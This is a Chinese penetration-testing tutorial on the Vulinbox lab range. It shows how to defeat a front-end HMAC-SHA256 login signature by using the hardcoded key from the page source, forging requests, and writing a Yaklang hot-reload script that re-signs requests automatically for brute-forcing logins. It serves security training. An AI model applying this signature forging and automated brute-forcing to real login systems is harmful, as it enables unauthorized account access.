渗透测试-前端验签绕过之SHA256

本文是高级前端加解密与验签实战的第1篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过SHA256签名来爆破登录。

绕过

通过查看源代码可以看到key为

复制代码
1234123412341234

通过查看源代码可以看到是通过SHA256来进行签名的,他把请求体的username和password字段提取,然后进行加密。

复制代码
username=admin&password=admin123

使用Cyberchief加密,最终得到加密值为:fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d

可以看到自己计算和前端计算的一致:

修改密码,重新构造签名:

复制代码
username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee

发送请求,可以看到验签成功,密码正确登陆成功,自此签名绕过成功。

http 复制代码
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{
  "signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee",
  "key": "31323334313233343132333431323334",
  "username": "admin",
  "password": "666666"
}

热加载

这是我写的热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动签名功能。

yaklang 复制代码
encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    //获取账号和密码
    name = params.username
    pass  = params.password
    key = "31323334313233343132333431323334"    //十六进制密钥

    //HmacSha256加密
    signText = f`username=${name}&password=${pass}`
    sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))

    //构造请求体
    result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`

    return string(poc.ReplaceBody(packet, result, false))
}

//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

调试结果如下:

beforeRequest取消注释,添加到Web Fuzzer模块的热加载中:

保存后发送请求,热加载成功实现自动签名功能。

相关推荐
HackTwoHub15 分钟前
免费FOFA高级会员、DayDaymap、360Quake、Hunter测绘搜索引擎高级会员免费使用最大1W条查询工具
运维·安全·web安全·搜索引擎·网络安全·系统安全·安全架构
学逆向的10 小时前
C++纯虚函数
开发语言·c++·网络安全
买大橘子也用券13 小时前
玄机-应急响应靶场-第一章wp汇总
网络安全·应急响应
其实防守也摸鱼15 小时前
软件安全与漏洞--软件安全编码与防御技术理论题库
开发语言·网络·安全·网络安全·软件安全·软件安全与漏洞
夏天测20 小时前
微信小程序自动化漏洞挖掘流水线:从缓存提取到密钥验证全流程实战
python·网络安全·微信小程序·漏洞挖掘
持敬chijing21 小时前
Web渗透之前后端漏洞-命令注入
安全·web安全·网络安全·网络攻击模型·安全威胁分析
hhcgchpspk1 天前
xss漏洞学习笔记
笔记·学习·网络安全·xss
juesdo1 天前
青岑CTF web入门 EZCMD系列
web安全·网络安全·php
txg6661 天前
FuzzGPT:用大语言模型生成“极端边界程序”的深度学习框架 Fuzzing 新范式
人工智能·深度学习·安全·网络安全·语言模型
持敬chijing1 天前
Web渗透之前后端漏洞-CSRF(跨站请求伪造)
安全·web安全·网络安全·xss·csrf